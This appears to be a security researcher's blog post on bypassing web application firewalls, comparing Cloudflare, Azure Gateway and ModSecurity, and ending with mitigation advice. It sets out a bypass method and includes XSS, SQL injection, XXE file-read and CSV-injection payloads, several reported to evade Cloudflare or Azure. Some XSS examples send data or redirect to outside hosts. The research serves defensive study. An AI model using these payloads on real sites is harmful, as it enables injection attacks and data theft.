The reason behind the madness
The initial thought behind this research stemmed from the fact that often during security assessments the consultant doing a test will be added to the exception list of whatever Web Application Firewall (WAF) is placed in front of a web application. While this approach gives the tester more visibility into the application itself, which is often crucial for the success of an assessment, it means that they do not approach attacking the web application as an attacker would have to; they only deal with a partial picture.
This prompted me to delve into the wide realm of Web Application Firewalls (WAFs), and — hopefully — through delving into the unknown and often missed part of the greater web environment, I could get a better understanding of how WAFs really affect a potential attacker. I wanted to answer a few questions with this research:
- How much harder does a WAF make it for an attacker to “attack” a web application?
- How easy is it to develop bypasses for common vulnerabilities, for a variety of common WAFs?
- Is it possible to develop a methodology to provide some consistency in developing bypasses?
- How are WAFs implemented into modern web environments and how do some of the more popular WAFs compare to each other?
- How easy is it to to implement a WAF incorrectly, and what does that mean for the web application it is supposed to protect?
Before we can really answer any of those questions, we need to first understand some core concepts around WAFs and what they do.
Understanding WAFs
Your very own virtual bouncer
To begin, we should take a step back and understand what we are dealing with. First off, let’s refresh our knowledge on what a WAF is and what we can expect it to do at a very high level.
While often overlooked, a WAF is far from a trivial component. It’s a small but vital cog in the broader web security machine. Without proper attention, it’s easy to underestimate its importance, yet it plays a significant role in shielding web environments from a variety of cyber threats. It can often mean the difference between a web application compromise and having a first line of defense that could potentially (subtle foreshadowing) deter an attacker.
In many cases, WAFs are treated as “set it and forget it” services. They might be deployed with minimal configuration or without proper consideration of the specific needs of the application they’re protecting. This lack of attention can lead to some very interesting scenarios, often resulting in the WAF becoming somewhat useless.
What makes a WAF, a WAF?
WAFs generally fall into 3 categories that dictate exactly how the WAF is implemented and where it sits in your web environment:
- Cloud-based: These are the most common type of WAFs, they are usually offered as a service by cloud providers like Cloudflare, and are the easiest to integrate into your (internet-facing) web environment.
- Software-based: These are usually integrated as modules for HTTP servers like Apache, and usually form part of the web proxy being used to serve the web application. This also means they are very closely intergrated with the web application, unlike cloud-based WAFs that are separated from the core web application server.
- Network-based: These WAFs, much like cloud-based WAFs, are separated from the main web application server, but unlike cloud-based WAFs are sitting on a network level instead of being a totally separate service running in a web environment.
For the duration of this blog we will be omitting network-based WAFs as they are not as common as the other two options mentioned above.
There are a lot of WAFs out there, each with their own pros and cons. Although at a high level all WAFs are generally operate in a similar fashion, we can expect them to:
- Monitor – incoming HTTP requests
- Analyse – the HTTP request
- Match – content based of pre-defined logic
- Accept/Reject – the request
- Log – the event in the case of a rejection
Monitor
This is the bane of a WAF, it has to be able to actually monitor for requests coming in to be able to perform actions against said requests. In most cases WAFs sit right in front of the web application and act as a reverse proxy between the user and the web application that it is protecting. The main reason we chuck WAFs in front of our web application is because we need any requests coming in to hit the WAF first in order to determine whether or not we should then allow that request to continue on its journey to the web application server.
Analyse
Once we have captured a request, we need to start analysing the content, to kick off this portion WAFs have to be able to untangle a HTTPS requests that are obviously encrypted. The way all WAFs do this is by again acting as a reverse proxy.
If you have looked at web applications with WAFs in front of them you would have noticed that most of the time resolving the IP of the domain name will give you an IP back that doesn’t belong to the web application itself but rather the proxy in between you and the web application. The reason this is done is quite simple, it’s to ensure that your request is encrypted and meant for the proxy and not the web application server itself.
This allows the proxy/WAF in the middle to decrypt the HTTPS request to have the ability to analyse the clear text content of the request, after which in classic reverse proxy fashion will forward the request to the relevant service for further handling.
Match
This is where the magic happens; during the “analyse” phase the incoming request is unpacked, but during the “match” phase the content of the request undergoes rigorous posture checking.
This is done through applying pre-defined logic, called rules, to the content of the request. Rules, in essence, are self explanatory in the sense that they have to be followed by the request coming in. Rules can take many forms, but are most commonly a set of regex or content matching instructions, most of which come with the WAF by default, but can also be developed by the user. For example take the following rule snippet for the software-based WAF ModSecurity:
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|
REQUEST_HEADERS:User-Agent|ARGS_NAMES|ARGS|REQUEST_FILENAME|
XML:/* “@rx (?i)[a-z]+=(?:[^:=]+:.+;)*?[^:=]+:url\(javascript” “id:941140,
phase:2,
block,
capture,
msg:’XSS Filter – Category 4: JavaScript URI Vector’,
logdata:’Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}’,
tag:’attack-xss’,\
severity:’CRITICAL'”
The above snippet has quite a lot to unpack; to start off, we can look at what exactly within a request this rule is being applied to, which is indicated within the first line:
REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS:”User-Agent”|ARGS_NAMES|ARGS|REQUEST_FILENAME|XML
Right after that, we see the actual rule that will be applied, which will attempt to match the use of the javascript:
URI within a potential XSS payload. In most cases match conditions will be specified in regex but ModSecurity provides its own ruleset language that partially makes use of traditional regex and can be used to make the process of developing custom rules easier:
“@rx (?i)[a-z]+=(?:[^:=]+:.+;)*?[^:=]+:url\(javascript”
Below the rules there are a bunch of meta tags that dictate exactly what should happen when a piece of content is matched.
Generally, all WAFs will have some sort of ruleset system, each with its own capabilities, while also providing their own method to create custom rules.
Accept/Reject
This part is fairly self explanatory; we would expect upon the outcome of the above step for the WAF to make a determination on whether or not the request is legitimate or not and, based on that determination, to either:
- accept the request and pass it on to the down stream service, or
- to reject the request and return an appropriate response.
Log
This is an essential step in the process, since the process of logging malicious events is the only way we will be able to identify that they occurred in the first place, allowing us to take action against the type of malicious request and the potential threat actor that submitted the malicious payload. Most WAFs will provide a really good log output of malicious requests that contain the whole request, as well as the specific piece of content that was matched.
This step is also important for users that develop custom rulesets, as it can be used to debug the rules that a WAF is applying to content to further improve the rules being applied.
WAFs in modern times
From brick walls to cyber shield
WAFs have definitely come a long way over the years, and this is evident when we look at the history of WAFs as they released. One key point in the timeline below is the point at which cloud-based WAFs first emerged, and how this affected the WAF ecosystem moving forward:
The emergence of cloud-based WAFs during the early 2010’s formed a part of the overall industry mass-migration to the cloud, leaving behind the, at that point in time, primitive software-based WAFs. This started the WAFs’ arms race, where each WAF provider pushed for better and more innovative techniques and features.
We can see this arms race in action, when we take a step back to look at how exactly the features and techniques used by WAFs evolved over time. To properly contextualise this, we have to first understand that software-based WAFs, during the earlier years in the evolutionary chain for WAFs, were not that good in comparison to what we have today.
Software-based WAFs were very limited in what they could do, due to a series of limitations like: the computational power required to apply thousands of rules to incoming requests, or the fact that they could not even apply that many rules, again due to the computational limits we were faced with during that time in history.
For example, going back through the different versions of ModSecurities Core Ruleset repository to the earliest listed version released in 2007, and then running a simple python script to count the occurrences of “SecRule” which, as mentioned earlier, is the syntax used to define rules for ModSecurity, we get the following output:
Total occurrences of ‘SecRule’: 434
Comparing this to modern day Cloudflare that claims to support up to 50,000 rules for Pro and Enterprise accounts (with the ability to request more), we can clearly see the difference in how many rules were supported: “Each Cloudflare account can have a maximum of 50,000 rules. If you are an Enterprise customer and need more rules, contact your account team.”
However, as the years passed, the techniques and amount of rules that a WAF could apply to incoming requests greatly increased as our computational power increased and this prompted great change in the way WAFs applied logic to incoming requests.
We started seeing a massive shift from traditional techniques like static attack signature detection, that would simply apply raw and pre-defined logic to incoming requests in order to make a determination, to more dynamic techniques that would continuously develop and evolve based on what is seen as normal user behavior on a web application.
The introduction of dynamic aspects to rules greatly increased the effectiveness of WAFs and shifted them away from being seen as filters to instead being something that could be applied to any situation and would adapt on the fly.
The key point for this section is to really highlight the shift from static techniques, that you could replicate with a simple client side filter, to the use of dynamic techniques that have the ability to learn and adapt. The reason this shift to more dynamic techniques has been instrumental is because web applications, as well as attackers and their respective techniques, have become significantly more complex, and WAFs have had to adapt to be able to thrive in those complex web environments.
And for those reasons, WAFs have almost been forced to adopt a dynamic style of detection, and the need for that will only increase over the years; luckily for us, with the emergence of more powerful AI and machine learning models, evolving that dynamic aspect will become a lot easier as the need for it arises.
How to bypass 101
Building a bypass methodology
Before we can start shooting off payloads against WAFs, we need to first understand how to approach one, for that reason we will take a look at my personal methodology.
Since this is a personal methodology, it is greatly up to each person to adapt to their own approach if the following does not suit them; the methodology I will be demonstrating can be tedious and slow, but from my experience yields the most bypasses.
Overview
To start off, lets take a high level look at what the methodology entails:
- Identify – blocked elements
- Obfuscate – the blocked elements
- Test – the payload and hope it works
- Repeat – until you have a working bypass (or eventually lose your mind)
This approach is iterative in nature, and will require you to repeat the steps over and over until a payload eventually works. Let’s now dive into each step in more detail, and practically apply the methodology to an example payload:
<svg onload=”location=’…'”>
Identify
To kick off your bypass development adventures, we first have to identify what the WAF blocks. To facilitate this, it’s best to start of with a base payload that we will work into a bypass.
From there, it’s a game of “Where’s Wally”; it can be very hard to identify what exactly a WAF is detecting within a chosen payload, especially due to the dynamic learning we discussed earlier, but the trick is to keep adding and removing parts of a payload until you have a decent enough list or idea of what the WAF is detecting within our chosen payload.
Specific and common things that a WAF is probably blocking, to be on the lookout for, can be things like:
- Keywords:
svg
,onload
- Combinations of characters:
="..."
,<...>
- Combinations of characters and keywords:
onload="..."
,svg onload=
It is important to note that when talking about characters, a space does count as a character and is often how WAFs determine the end and start of keywords and characters.
For our practical example, the test WAF, called ABC, seems to detect the following pattern:
<svg_space_onload=”…”>
Obfuscate
Now that we have a decent idea of what the WAF is detecting within our payload, we can work on obfuscating those key elements.
A little note on this part of the methodology is that it’s imperative that the syntactic correctness of the payload is intact by the time you have obfuscated it. There is no point in performing obfuscation on a payload that then bypasses the WAF’s detection rules but does not execute as intended.
There is so much you could do to obfuscate a payload, with so many techniques and methods that exist, that it’s hard to apply them all and talk about them all during this post. Instead of this, we’ll look at a basic toolkit that works quite well in combination, which includes:
- Character Encoding: HTML Entity Encoding, URL Encoding.
- Space Manipulation: Replacing spaces for characters that would still render the payload correctly.
- Rule Logic Flaws: Abusing slight logic flaws in the manner the WAF is detecting a payload.
- Anything your heart desires: There is so much you can do to obfuscate a payload, be creative and go all out as long as it executes correctly in the end.
After having previously determined what was being detected by ABC WAF, we can now apply some obfuscation to the payload that addresses the detected keywords:
<svg/onload=location=/**/‘…%27>
A key component within the final obfuscated payload above is that we remove the space character that fell into the pattern that was being detected by the WAF. In effect, what this does is make the payload appear to be one big tag, which is obviously an invalid HTML tag. So when a WAF analyses the payload, it will see one massive, invalid, HTML tag that obviously can not be malicious, since it does not even look valid. In this way, you start confusing any keyword matching done by the WAF rules to get a payload to bypass checks.
We also took care of the onload
parameter that was being detected, by removing key parts of what makes a parameter a valid parameter, that being the removal of the quotation marks and the slight obfuscation of the single quote characters.
One great thing to do when performing obfuscation is to use public resources to get an idea of what is possible and to draw inspiration from those resources and apply it to your own payloads. Many such resources exist — for example, the OWASP XSS filter evasion cheatsheet can provide some insight into what can be done to cross-site scripting (XSS) payloads to evade WAF rules.
Test & Repeat
This, in my opinion, is the fun part of developing bypasses, actually sending them off to a WAF to see how it responds; in some cases, WAFs will do pretty funky things when hit with unexpected payloads.
Chances are, payloads won’t work the first time; this is normal and expected. People have been developing bypasses for years and WAF rulesets have been updated continuously for years as well — as part of that eternal WAF arms race — so finding bypasses that work in the present day is going to take some work.
One note on this: treat the methodology like building legos. You will be removing, adding and altering payloads a lot and, slowly but surely, building upon each iteration until you have a payload that works. Roadblocks are a guarantee; it’s important to realise that and acknowledge that you will run into roadblocks but, when you do, it’s good to take a step back and approach your payload development from a different angle.
“Keep going until you have a working bypass or lose your mind ” is something that really summarises bypass development as a whole; it will be tedious, but pushing through is what you need to develop bypasses for modern WAFs.
The good
When it works, it works
Now for the juicy part; to start off, let’s dive into common payloads you would find in word lists that claim to bypass WAFs and see how they went up against some common WAFs.
Preface: A sucker for default configs
Let’s talk a bit about testing setup and default configs; WAFs should be able to provide a baseline of security by default. This is for a few reasons:
- Plug-and-Play: Non-technical users and corporations will commonly implement a WAF, leave it on its default configuration and assume that their web application is protected.
- Consistency is key: To give each WAF a fair chance, they were all left on default settings to ensure that one WAF did not have an edge over another.
- Quick and dirty security: WAFs are, in some cases, seen as a quick and dirty “solution” to a web application’s security and will therefore just be plugged in front of a web application with minimal to no configuration done.
The set of WAFs that fell into the scope of my research are:
- Cloudflare WAF – Pro subscription, 20$/month
- Azure Gateway WAF – Medium scale, $0.126 per gateway hour (~$91.98/month)
- ModSecurity – Free and Open Source
These WAFs were chosen for various reasons, such as: who the target demographic of users are, how easy they are to implement into an environment and how user friendly they are to configure.
The default configuration for each is as follows:
- Cloudflare WAF – Paranoia Level 1 + Medium Anomaly threshold
- Azure Gateway WAF – Standard implementation as per Microsoft’s documentation + Default Microsoft Managed Ruleset
- ModSecurity – Default config + ModSecurity Core Ruleset
The template moving forward
To make things a bit easier, when looking at the payloads that we tested, the following table will represent whether or not each of the payloads bypassed one of the WAFs:
Payload | Cloudflare | Azure | ModSecurity |
---|---|---|---|
Payload 1 | ✔ | ✘ | ✔ |
Payload 2 | ✘ | ✘ | ✘ |
Below each table, there will be observations that will provide some insights into the payloads and commmentary on the results of the testing.
Cross-Site Scripting (XSS)
Payload | Cloudflare | Azure | ModSecurity |
---|---|---|---|
%6a%61%76%61%73%63%72%69%70...rt(1) |
✔ | ✔ | ✔ |
<svg/onload='[][(![]+[])[+[]]+(![]...[+[]]])'> |
✔ | ✔ | ✔ |
<marquee+loop=1+width=0+onfinish=‘new+Functional\ert\1\";> |
✔ | ✔ | ✔ |
Observations:
- Most of the payloads above are found in common wordlists and are frequently used in attempts to bypass WAFs. As expected, all three of the WAFs handled these payloads correctly.
- When it comes to XSS, most WAFs have it down to a tee and we will have to do some crazy things to get bypasses working for this vulnerability.
SQL Injection (All variations)
Payload | Cloudflare | Azure | ModSecurity |
---|---|---|---|
UN/*! */ION SE/*! */L/*! */ECT |
✔ | ✔ | ✔ |
(1)UNION(select(1) |
✔ | ✔ | ✔ |
unUNIONion selSELECT |
✔ | ✔ | ✔ |
Observations:
- SQL Injection is a hard vulnerability to get a working bypass for. This is because SQL syntax is meant to be human readable and writable and thus it needs to be relatively simple to write. This means the options for obfuscation are fairly limited while keeping the syntactic correctness of the payload.
- It is important to maitain syntactic correctness for SQL Injection, therefore, when looking at bypasses, you are targeting logic flaws in the rules.
Other common vulnerabilities
Payload | Cloudflare | Azure | ModSecurity |
---|---|---|---|
{{ constructor.constructor(‘alert(1)’)() }} |
✔ | ✔ | ✔ |
<!ENTITY file SYSTEM ‘file:///etc/passwd’> |
✘ | ✔ | ✔ |
=cmd| ‘/C notepad.exe’ |
✘ | ✘ | ✔ |
Observations:
- These are more niche vulnerabilities that are very dependent on the architecture and functionality of a web application. In the case of the second payload (XXE) and the third payload (CSV Injection), they are not catered to by default; this means that if we are running web applications that make use of, for example, XML request bodies, this leaves a notable gap in what the WAF will protect a web application from.
- Due to the bypass occurrences in the table above, it would be up to the user or the organisation to develop custom rules that would cater towards the specific vulnerabilities that their web application could be vulnerable to due to its architecture and functionality.
The oopsies
When it doesn’t work everyone’s confused
Now to dive into some working bypasses and some observations on why they worked. Some of these bypasses are publicly available and some will be unveiled for the first time.
Throughout the bypasses showcased, we will see that many of the bypasses touch directly on the different aspects mentioned during the methodology section and we can effectively observe the outcomes of the methodology in action.
Cross-Site Scripting (XSS)
Payload | Cloudflare | Azure | ModSecurity |
---|---|---|---|
<svg/onload=location/**/='https://mwrcybersec.com/'+document.domain> |
✘ | ✔ | ✔ |
<object data=data:text/html;base64,…object> |
✘ | ✔ | ✔ |
pre</div></div></div></div><h2/1/param>#How_did_I_get_here |
✔ | ✘ | ✔ |
Observations:
- The first payload should look familiar, as it’s the exact payload we used during the methodology deep dive. This again highlights how useful it is to remove spaces to make a payload seem like one big invalid tag.
- The second payload talks to logic flaws, where a WAF might not block a common tag. In this case, a logic flaw allowed you to inject an
<object>
tag with a JavaScript payload that was Base64 encoded through Cloudflare. - The third payload demonstrated another logic flaw; during the research, Azure’s gateway WAF would block open tags and a combination of open and closing tags. This prompted me to inject closing tags, which allowed me to inject content into different parts of a web application by traversing the HTML hierarchy. Below is a snippet that shows content being injected into a “Help Section” of a demo application, opening up some interesting phishing vectors.
SQL Injection (All variations)
Payload | Cloudflare | Azure | ModSecurity |
---|---|---|---|
1' OR '1'='1'# |
✘ | ✔ | ✔ |
1' ORDER BY 1# |
✘ | ✔ | ✔ |
1' &&SLEEP(10)# |
✘ | ✘ | ✔ |
Observations:
- As mentioned earlier, when looking at SQL injection payloads, there is a fine line between how much you can obfuscate a payload and still have it make syntactic sense. Many of the payloads above are simple in nature and are “exploit primitives”, they work in isolation but are also likely more useful as part of bigger payloads.
- The first payload again speaks to a logic flaw, where classical integer
1=1
payloads were being blocked, and by switching it to a string comparison, it was able to bypass the Cloudflare WAF. - The second payload seemed to bypass Cloudflare as well, much like the
<object>
tag that was not being blocked by default. - The third payload, again, applied the technique of making payloads seem invalid syntactically to a WAF, in hopes that said WAF would find nothing wrong with this invalid payload or see it as random content, allowing you to create a working bypass.
Notice the trend?
If you were paying attention, you would have noticed that through all the payloads presented above, none of them managed to bypass ModSecurity. This could simply be because of a “skill issue”, or an argument could be made that I simply did not spend enough time trying to develop bypasses for the WAF.
But I believe that there is a more fundamental reason for ModSecurity seemingly performing better than the alternatives.
If it’s not open source, is it really secure?
I believe the strength of ModSecurity lies with the fact that it is open source. In general, open source security projects benefit from the fact that they are open source, for a few reasons:
- “Apes together strong”: Having an open source security project allows people from all over the cybersecurity industry to apply their practical knowledge to further the project. This is especially true for open source WAF projects like ModSecurity.
- It costs a penny and a packet of peanuts: It literally does not cost anything; also, the openess of the source allows anyone that has the willingness and skill to contribute to get excited for projects like ModSecurity. It is not specifically restricted to people within the cybersecurity industry.
- When attackers and defenders play along: The benefit of open source security projects come in when the line between attackers and defenders is blurred, and people from all sides of the line play along and contribute their joint practical experience to further the capability of the project they are working on.
This is the reason why, in my opinion, there are fewer bypasses for ModSecurity and also the reason that it’s so hard to develop new bypasses for it. Because ModSecurity is open source, and has been open source for a very long time, with almost 90 contributors to the main repository and 120 contributors to the ruleset repository, it is really a testament to what an open source WAF can achieve.
In denial
The illusion of security
It is always worth re-iterating, as with every software solution, there is always a way to incorrectly implement it, and that statement is especially true for WAFs. There are a lot of considerations that need to be taken into account when implementing a WAF into your very own web environment. We will discuss some of them here.
Mitigation vs Remediation
To understand what purpose WAFs really serve within a web environment, we need to understand the difference between mitigation and remediation.
My philosophy on vulnerability mitigation is:
Mitigation is the act of gaslighting oneself into thinking a vulnerability is fixed and not exploitable anymore, when in reality the vulnerability still exists, all that has happened is the difficulty to exploit the vulnerability has been increased.
WAFs do not fix vulnerabilities, which is why it is appealing to search for bypasses to WAFs. Since WAFs simply increase the difficulty of exploiting existing vulnerabilities, they serve only to mitigate vulnerabilities. While they can do this well, it’s all too common to see users and organisations treat WAFs as be all and end all security mechanisms by simply integrating a WAF into their environment and then assuming that their web application is now safe.
WAFs should be treated as a web application’s first line of defense, instead of being a quick and dirty “security” mechanism. WAFs should not be seen as the remediation for a vulnerability, but their rulesets should instead be continuously updated based on vulnerabilities that have undergone remediation on a web application, to further the ability for the WAF to be an application’s first line of defense.
Custom crypto — a WAFs’ kryptonite
As we have discussed, modern web applications have become more complex, and so have the mechanisms that are implemented to increase their security posture. One of the mechanisms that we have seen become more prevalent over the years is the implementation of custom cryptography in applications.
This is where a web application will apply custom cryptography to encrypt a request’s content in order to better obscure sensitive data within those requests. Where this becomes an issue is when encrypted content hits a WAF in its encrypted state. This is an issue for one main reason:
WAFs are not smart
WAFs were developed by third parties, to be used as third party services, and were not developed with the capability to decrypt custom crypto being applied to requests; this can ultimately render a WAF completely ineffective. If WAFs can not read and perform actions against the content of requests, then the WAF, to some extent, serves no use to the security posture of a web application.
To better illustrate this, consider the following practical example:
- A threat actor inputs the following content (with a payload in the body to exploit XSS) into a chat box:
Comment:
You have been pwned
<img src=x onerror=location=’pharowhare.hacker.com’>
- After clicking the post button, the content of the comment is then encrypted and added to the body of a POST request:
POST /api/comment HTTP/2
Host: funkycoders.loc9d0d83165ae452904e3df3dbc21722ae3f1abace42c9169f8c684e25eb64c8b9
ddac8ee8de46477fead320230728c2732b41436920b0833576b2dedaea8aebf7
a01088a9cb35193c173c0bebd1a2475469b01ae69213a6be
- This request is then sent to the proxying WAF and inspected.
- From the perspective of the WAF, there is nothing to be matched within the content of the POST body and the request is forwarded to the web application server.
- The web application server then decrypts the body and the payload is stored within the database where it will execute when loaded into a victim’s web browser.
Since custom crypto has become a lot more prevalent, it’s imperative that when considering the implementation of a WAF for a web application that does make use of custom cryptography to take this into consideration.
We have to be cognisant of the state that our content is hitting a WAF in. It should be ensured that content is always hitting a WAF in a state that the WAF can use to perform its evaluation.
Closing remarks
This research has really been fun and valuable to me as a security consultant; it has allowed me to really put myself in the shoes of an attacker and approach a web application like an attacker would. This has showed me that the exploitation of vulnerabilities, in a lot of cases, is much harder than what you typically experience on client engagements when you are added to the WAF’s exception list.
I do think WAFs have not been looked into enough and there is still so much more from a security perspective that can be explored and investigated when it comes to WAFs and their effect on the greater web ecosystem. I hope that, by giving this glimpse of the vast realm of WAFs, I have been able to both encourage and make it more accesible for others to join me in further researching WAFs.